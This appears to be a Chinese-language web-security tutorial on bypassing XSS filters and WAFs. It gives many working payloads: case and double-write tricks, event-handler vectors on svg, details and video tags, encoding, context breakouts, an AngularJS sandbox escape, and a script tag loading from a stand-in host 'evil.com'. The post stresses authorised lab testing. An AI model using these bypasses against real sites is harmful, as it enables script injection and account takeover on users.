XSS绕过核心技术:从基础过滤到WAF对抗的实战指南
1. 从“弹窗”到“接管”:理解XSS绕过的本质
很多刚接触Web安全的朋友,对XSS(跨站脚本攻击)的第一印象可能就是“弹个窗”。确实,经典的<script>alert(1)</script>是入门必学的第一课,它直观地证明了漏洞的存在。但如果你认为XSS就止步于此,那可就大错特错了。XSS绕过的艺术,本质上是一场攻击者与防御者之间关于“输入”与“输出”的博弈。防御者想尽办法过滤、转义你的输入,而攻击者的目标,则是构造出能够成功“存活”并“执行”的JavaScript代码。
这篇文章不会只教你几个Payload(攻击载荷),然后让你去碰运气。我会带你深入XSS绕过的核心思路,从零基础开始,拆解每一种过滤机制的原理,并给出对应的绕过策略。无论是面对简单的字符串黑名单,还是复杂的WAF(Web应用防火墙)规则,你都能建立起一套系统的分析方法和构造Payload的思维模型。我的目标是,让你看完后,不仅能复现,更能理解“为什么要这样构造”,从而在面对新的、未知的防御场景时,能够自己推导出有效的绕过方法。收藏这一篇,是因为它提供的是“渔”而非“鱼”。
2. XSS基础与绕过核心思想
在深入各种花式绕过技巧之前,我们必须统一认知,夯实基础。XSS攻击成功需要两个核心条件:一是攻击者可控的数据能够被注入到网页中;二是这些数据能够被浏览器解析为可执行的代码(通常是JavaScript)。防御者的所有手段,无论是前端过滤、后端清洗还是WAF拦截,都是围绕破坏这两个条件之一来进行的。
2.1 XSS的三种类型与利用场景
理解类型是选择绕过策略的前提。
反射型XSS:Payload“躺”在URL参数里。比如https://victim.com/search?q=<script>alert(1)</script>。服务器接收到参数q后,未经充分处理就直接将其拼接到返回的HTML页面中并发送给浏览器。这种攻击通常需要诱骗用户点击一个精心构造的链接。它的特点是“一次性”和“非持久化”,利用难度相对较高,但却是绕过姿势的“练兵场”,因为你可以即时看到输入和输出的变化。
存储型XSS:Payload被保存到了服务器端,比如数据库、评论、个人资料、文章内容等。当其他用户访问包含这些数据的页面时,恶意脚本就会自动执行。这种危害最大,因为它影响所有访问者,且可能长期存在。在测试存储型XSS时,要特别注意输入点的上下文(是放在<div>里,还是<input>的value属性里),这直接决定了Payload的构造方式。
DOM型XSS:整个攻击过程不经过服务器。JavaScript代码(如document.write,innerHTML,location.hash,eval等)直接从URL、Cookie或其他客户端来源获取数据,并在不经验证的情况下动态更新了DOM(文档对象模型)。例如,页面有一段JS代码:document.write(‘<div>’ + location.hash.substr(1) + ‘</div>’),那么访问https://victim.com/page#<img src=x onerror=alert(1)>就会触发XSS。DOM型XSS的检测和绕过,需要你具备一定的JavaScript代码阅读和分析能力。
注意:在实际测试中,务必使用虚拟机或隔离的测试环境(如DVWA、bWAPP、WebGoat等靶场),绝对禁止对未授权的真实网站进行任何攻击测试,这是法律和道德的底线。
2.2 绕过的基本逻辑:对抗过滤与编码
所有绕过技巧,都可以归结为以下几个核心思路:
- 等价替换:当
<script>标签被过滤时,我们寻找其他能执行JS的HTML标签或属性,如<img>,<svg>,<body>, 事件处理器(onerror,onload,onmouseover)等。 - 编码混淆:利用浏览器和服务器解析的差异。服务器可能过滤了
<,但我们可以将其URL编码为%3c,如果浏览器在解码后仍能正确识别,而服务器过滤逻辑没跟上,就绕过了。还有HTML实体编码、JS编码、Unicode编码等多种形式。 - 语法技巧:利用JavaScript的语法灵活性。比如,用
String.fromCharCode组装字符串,用反引号()执行模板字符串,用eval/setTimeout`动态执行,甚至利用JS的异常处理机制。 - 上下文突破:你的输入最终被放在哪里?是HTML标签内(如
<div>INPUT</div>),是标签属性里(如<input value=”INPUT”>),还是JavaScript代码块中(如<script>var a = ‘INPUT’;</script>)?不同的上下文,需要完全不同的Payload构造策略。 - 组合与拆分:将关键的敏感字符(如
script,onclick)拆分开,利用拼接、注释、换行符等方式,让过滤规则“认不出来”,但浏览器却能“拼回去”。
3. 针对基础过滤的经典绕过姿势
这是最常见的场景,网站可能只是简单粗暴地过滤或替换掉一些关键词。我们从一个最简单的例子开始,假设有一个搜索框,输入的内容会显示在结果页。
3.1 关键字黑名单过滤
场景:后端代码发现输入中包含script,onclick,javascript等词,就直接删除或替换为空。
绕过方法:
- 大小写绕过:
<ScRiPt>alert(1)</ScRiPt>。HTML标签和事件属性名对大小写不敏感(在XHTML中敏感,但极少见),但很多简单的字符串匹配是大小写敏感的。 - 双写绕过:如果过滤逻辑是删除一次关键词。可以构造:
<scrscriptipt>alert(1)</scrscriptipt>。服务器删除中间的script后,剩下的字符正好又组合成一个新的<script>。 - 插入干扰字符:利用HTML/JS解析器会忽略某些字符的特性。
- 标签名中插入
/:<scr/ipt>alert(1)</scr/ipt>。浏览器解析时会忽略这个斜杠。 - 利用Tab/换行:
<scr\tipt>,<scr%0aipt>(换行符的URL编码)。在某些过滤逻辑中,可能不会将这些空白符视为关键字的一部分。 - 利用注释:
<scr<!--test-->ipt>alert(1)</scr<!--test-->ipt>。HTML注释<!-- -->在标签内部是允许的,浏览器解析标签名时会忽略它们。
- 标签名中插入
实操示例: 假设后端过滤了script和on。我们可以尝试:
<im%00g src=x onerr%00or=alert(1)> // 尝试插入空字符%00(需看后端语言处理方式) <svg/onload=alert(1)> // 使用svg标签,onload事件,并在标签名和属性间加/关键在于不断尝试,并用浏览器的开发者工具(F12)查看“元素”面板,观察我们输入的内容最终被渲染成了什么样子。这是调试Payload最直接有效的方法。
3.2 特殊字符过滤与编码
场景:过滤或转义了<,>,”,’,&等关键字符。
绕过方法:
- 无需尖括号的Payload:当
<和>被严格过滤时,可以转向纯事件触发型Payload,但这通常要求你能“跳出”现有的属性值上下文。例如,如果你能控制一个标签的属性值,并且该属性没有用引号闭合,或者你可以闭合它:
这里我们先用INPUT: " onmouseover=alert(1) // 最终HTML: <input value="" onmouseover=alert(1) //">”闭合了value属性,然后添加了新的事件属性。//用于注释掉后面原生的”>,防止语法错误。 - 编码绕过:这是高级绕过的核心。
- HTML实体编码:浏览器在渲染HTML文本节点时会解码实体。如果服务器只过滤了明文
<但没过滤实体,且输出点位于HTML文本中(非属性),可以尝试:<script>alert(1)</script>。但注意,如果输出点在<script>标签内部或HTML属性中,实体编码可能不会被二次解码。 - URL编码:常用于出现在URL参数中的Payload。
<编码为%3c,>编码为%3e。如果服务器在拼接URL时没有解码,但前端JS在取用参数时用了decodeURIComponent,就可能触发。 - Unicode/JS编码:在JavaScript上下文中非常有效。例如,
alert(1)可以编码为\u0061\u006c\u0065\u0072\u0074(1)或eval(‘\x61\x6c\x65\x72\x74\x28\x31\x29’)。
- HTML实体编码:浏览器在渲染HTML文本节点时会解码实体。如果服务器只过滤了明文
实操心得:编码绕过的成功与否,极度依赖于“输出上下文”和“解码时机”。你必须像浏览器一样思考:数据从服务器出来,经过了几层处理?每层处理做了什么?最终到达浏览器解析器时,它“看到”的是什么?养成用开发者工具查看“源代码”(Network响应)和“渲染后DOM”(Elements)对比的习惯,能帮你快速定位问题。
4. 高级上下文突破与组合技巧
当简单的过滤失效时,我们需要更精细地分析漏洞点的上下文。
4.1 在HTML标签属性值内
这是非常常见的场景,比如个人简介、图片链接等。
情况A:属性值被双引号或单引号包围
<input type="text" value="【用户可控输入】"> <img src="【用户可控输入】">你的目标是“跳出”引号的包围,引入新的事件属性。
- 闭合引号:输入
" onmouseover="alert(1)。最终生成:<input value="" onmouseover="alert(1)" ...>。这里我们闭合了前一个引号,添加了事件处理器,并用新的引号开头,原生的结尾引号会闭合它。 - 利用无需引号的属性:HTML中,属性值可以不用引号,如果存在过滤,可以尝试:
” autofocus onfocus=alert(1) //。//注释掉后续内容。
情况B:属性值无引号
<input value=【用户可控输入】>这更容易利用。直接输入:x onmouseover=alert(1)。生成:<input value=x onmouseover=alert(1)>。注意,事件处理函数(alert(1))最好用引号包起来避免空格引起的解析问题,但现代浏览器通常也能处理。
4.2 在JavaScript代码块内部
这种漏洞威力巨大,因为你可以直接操作JS执行环境。
场景:
<script> var userInput = ‘【用户可控输入】’; document.write(‘<div>’ + userInput + ‘</div>’); </script>目标:闭合字符串和语句,注入新的JS代码。
- 闭合字符串与语句:输入
’; alert(1);//。’闭合了前面的字符串。;结束了前一条语句。alert(1);是我们注入的代码。//注释掉后面原生的’);,防止语法错误。 最终代码变为:var userInput = ‘’; alert(1);//’;,成功执行。
更复杂的情况:模板字符串与eval如果代码使用了反引号(模板字符串)或eval/setTimeout,情况会更灵活。
<script> var data = `Hello, 【用户可控输入】`; element.innerHTML = data; </script>在模板字符串中,我们可以直接插入JS表达式:${alert(1)}。输入后,代码变为`Hello, ${alert(1)}`,执行时alert会被调用。
4.3 利用HTML5新特性与稀有标签
当常见标签和事件被全面封杀时,可以挖掘一些“偏门”但有效的向量。
<svg>标签:SVG是XML格式,其内部可以包含<script>标签,且事件处理器丰富。<svg onload=alert(1)> <svg><script>alert(1)</script> <svg><animate onbegin=alert(1) attributeName=x dur=1s><details>标签的ontoggle事件:这是一个不太为人知的事件。<details ontoggle=alert(1) open>open属性使其默认展开,页面加载时即触发ontoggle。<video>/<audio>的onplay事件:结合autoplay属性。<video src=x onplay=alert(1) autoplay><body>标签的onpageshow事件:在页面加载(包括前进/后退缓存加载)时触发。<body onpageshow=alert(1)>
实操心得:建立一个自己的Payload库非常重要。但更重要的是,理解每个Payload生效的原理。例如,为什么<svg>的onload可以工作?因为它是一个图形元素,加载完成会触发该事件。这样,当你遇到新的、没见过的标签时,你可以去查它的规范,看它支持哪些事件,从而创造新的Payload,而不是永远依赖别人的收集。
5. 对抗现代WAF与深度过滤
现代WAF(如Cloudflare, ModSecurity)和框架的默认防护(如PHP的htmlspecialchars, Django的模板自动转义)更加智能。它们可能采用基于语义的解析、正则表达式匹配、甚至机器学习模型来检测攻击。
5.1 利用解析差异
这是绕过WAF的“银弹”思想之一:WAF解析HTTP请求/响应的方式,与浏览器最终解析HTML/JS的方式可能存在差异。
- 多重编码:WAF可能只解码一次,而浏览器会解码多次。例如,将
<先进行HTML实体编码得到<,再对这个字符串进行URL编码得到%26lt%3b。如果WAF只做了一次URL解码,看到的是<,认为安全。但浏览器收到后,先URL解码为<,再作为HTML文本解析时,将<解码为<,攻击成功。 - 非常规语法:
- 标签属性无值:
<script src=//evil.com/x></script>。src属性没有引号,值是//evil.com/x(这是一个合法的协议相对URL)。一些简单的正则可能匹配src=“…”或src=’…’,而忽略这种形式。 - 利用JavaScript伪协议在非href/src属性中:通常
javascript:alert(1)用在<a href>或<iframe src>。但可以尝试用在其他支持URL的属性,如<form action=”javascript:alert(1)”>,或者利用SVG的<a>标签:<svg><a xlink:href=”javascript:alert(1)”><text>click</text></a>。 - 不可见字符与换行:在关键位置插入
%0a(换行)、%0d(回车)、%09(Tab)或%00(空字节,需视后端语言而定)。例如:<img%0asrc=x%0donerror=alert(1)>。这可能会破坏WAF的正则匹配单行模式(/.*/不匹配换行),但浏览器在解析HTML时会忽略这些空白符。
- 标签属性无值:
5.2 分块传输与请求走私
这是更高级的技巧,主要针对基于请求体检测的WAF。
- 分块传输编码(Chunked Transfer Encoding):将Payload拆分成多个小块(chunk)发送。WAF可能因为拼接检测不完整而放过,而后端服务器正确重组后,完整的攻击载荷得以执行。这通常需要手动构造HTTP请求或使用工具(如Burp Suite的“Chunked”插件)。
- HTTP请求走私(HTTP Request Smuggling):利用前后端服务器(如前端是WAF/反向代理,后端是应用服务器)对HTTP请求边界解析的不一致,将一个恶意请求“隐藏”在另一个正常请求中,从而绕过前端的检测。这种技术复杂,需要对HTTP协议有深入理解。
重要提示:这些高级技巧通常用于CTF比赛或高强度的授权渗透测试。在实际漏洞报告或研究中,发现此类绕过往往能体现漏洞的高危性。但测试时务必在授权范围内进行。
5.3 利用前端框架与库的特性
现代前端应用大量使用JavaScript框架(React, Angular, Vue.js)。这些框架通常有自带的XSS防护机制(如Vue的v-html指令会对内容进行转义)。但配置不当或使用不安全的API时,仍会产生漏洞。
- React中的
dangerouslySetInnerHTML:顾名思义,这个API是危险的。如果开发者直接将用户输入传给__html属性,就会导致XSS。绕过可能需要闭合前端的JSX上下文,构造如{${alert(1)}或利用模板字符串。 - Angular.js的客户端模板注入:旧版本Angular.js(v1.x)的沙箱逃逸曾是一个经典的XSS向量。通过构造如
{{constructor.constructor(‘alert(1)’)()}}这样的Payload,可以在沙箱内执行任意代码。虽然新版本已修复,但在遗留系统中仍可能遇到。 - jQuery的不安全使用方法:
$()或jQuery()函数在传入HTML字符串时会解析并执行其中的<script>标签。如果用户输入被直接拼接进去,如$(‘<div>’ + userInput + ‘</div>’),就会导致XSS。即使标签被过滤,也可能通过属性或事件触发。
排查技巧:在测试现代Web应用时,打开开发者工具的“控制台”(Console),观察是否有框架错误或警告信息。同时,仔细审查前端JavaScript代码,寻找诸如innerHTML,outerHTML,document.write(),eval(),setTimeout()/setInterval()中使用了动态参数、以及$.ajax成功回调中处理数据的方式。这些往往是潜在的注入点。
6. 实战问题排查与Payload调试心法
即使知道了所有技巧,在真实环境中构造出可用的Payload也常常需要反复调试。以下是我总结的一套调试流程和常见问题解决方案。
6.1 标准调试流程
- 信息收集:首先确定注入点。在输入框尝试输入一些特殊字符,如
” ‘ < > &,然后查看页面源代码(Ctrl+U)或开发者工具中的“元素”面板,看它们是如何被处理的。是被原样输出、被删除、被转义(如<变成<),还是触发了错误? - 试探性注入:输入一个最简单的测试Payload,如
”><img src=x onerror=alert(1)>。观察结果。- 如果弹窗成功,恭喜,这是一个明显的漏洞。
- 如果没弹窗,打开控制台(F12 -> Console),看是否有JS错误。错误信息能告诉你Payload哪里出了问题(例如,
alert未定义?被CSP阻止了?)。
- 逐步构造:如果简单Payload失败,开始“拆解”它。先测试能否插入一个普通标签:
”><test>,看<test>是否出现在DOM中。如果能,再测试事件属性:”><test ontest=alert(1)>,这里ontest是一个虚构的事件,用来测试事件属性名是否被允许。最后,将ontest换成真实事件如onmouseover,并将alert(1)换成可执行的代码。 - 编码尝试:如果明文被过滤,尝试编码。从HTML实体编码开始,然后是URL编码,最后是JS Unicode编码。每次尝试后,都要对比“网络响应”中的原始数据和“元素”面板中渲染后的数据。
- 上下文切换:如果当前上下文(如属性值)限制太大,尝试能否“跳”到更有利的上下文。例如,能否闭合当前的标签,开启一个新标签?能否闭合整个HTML文档,从头开始写(如
</title></style></textarea></script><script>alert(1)</script>)?这种“跳出思维”往往能打开新局面。
6.2 常见问题与解决方案速查表
| 问题现象 | 可能原因 | 排查思路与解决方案 |
|---|---|---|
| Payload已插入DOM但未执行 | 1. 事件未触发。 2. 被内容安全策略(CSP)阻止。 3. 代码有语法错误。 | 1. 检查事件是否合适(如onerror需要资源加载失败)。换用onload,onmouseover等主动或易触发事件。2. 查看浏览器控制台的CSP报错。CSP会限制脚本来源。尝试非 <script>的向量(如<img onerror>),或寻找允许的源(如unsafe-inline,unsafe-eval)。3. 在控制台直接执行Payload中的JS代码,看是否有语法错误。 |
输入字符被转义(如<变<) | 服务器端使用了HTML编码输出。 | 检查输出点是否在<script>标签内或HTML属性中。如果在JS上下文中,尝试JS编码(\u003c)。如果在属性中且引号被转义,可能难以绕过,需寻找其他未转义的注入点。 |
| 输入内容被完全删除 | 严格的过滤或WAF,直接移除了包含危险字符的整个输入或片段。 | 尝试无尖括号Payload,或利用编码、拆分、插入干扰符等方式“欺骗”过滤规则。测试过滤是前端还是后端做的(抓包修改请求,看响应是否变化)。 |
alert函数被禁用或未定义 | 网站可能重写了alert,或沙箱环境。 | 尝试其他函数:confirm,prompt,console.log(需在控制台看输出),或直接访问window对象:alert->window[‘al’+’ert’](1)或parent.alert(1)。 |
| 仅在特定浏览器生效 | 浏览器对HTML/JS的解析存在差异。 | 测试主流的Chrome、Firefox、Safari。特别注意IE的怪异模式,它对HTML语法错误更宽容,有时能成为绕过的突破口(但如今IE已边缘化)。 |
| Payload在“查看源代码”中可见,但在“元素”面板中消失 | 可能被后续的JavaScript代码动态删除或覆盖。 | 尝试使用setTimeout延迟执行,或使用onbeforeunload事件(在页面卸载前触发),让代码在DOM被清理前执行。例如:<img src=x onerror=”setTimeout(alert,0,1)”>。 |
6.3 我的独家调试心得
- 善用浏览器开发者工具:“元素”面板看渲染结果,“源代码”面板看原始响应,“控制台”执行命令和查看错误,“网络”面板看请求响应全过程。这是你最重要的武器。
- 从简单到复杂:永远从一个最简单的测试开始(比如一个双引号
”),逐步增加复杂度。一次性扔一个复杂的Payload,失败了都不知道问题出在哪一步。 - 理解过滤逻辑:尝试输入
scr<script>ipt,如果输出是script,说明是删除过滤;如果输出是scr ipt,说明是替换为空格。这决定了你的绕过策略(双写绕过 or 插入干扰符)。 - 保持耐心与记录:XSS绕过有时像解谜。把每次尝试的Payload和结果记录下来,分析规律。成功的Payload往往诞生于对失败规律的总结之上。
- 关注非主流输入点:除了常见的表单、URL参数,别忘了
Cookie、User-Agent、Referer等HTTP头,以及通过POST发送的JSON/XML数据。这些地方也可能被记录并显示在管理后台,从而形成存储型XSS。
XSS绕过的世界没有“一招鲜,吃遍天”。它要求你对Web前端技术(HTML、JavaScript、浏览器解析)、后端处理逻辑以及各种防御机制都有深入的理解。这篇文章为你搭建了一个从基础到进阶的框架,并提供了丰富的思路和案例。真正的精通,来自于在靶场中无数次的尝试、失败、思考和再尝试。当你能够独立分析一个陌生网站的过滤机制,并亲手构造出绕过Payload时,那种成就感是无与伦比的。记住,思维永远比工具和Payload库更重要。
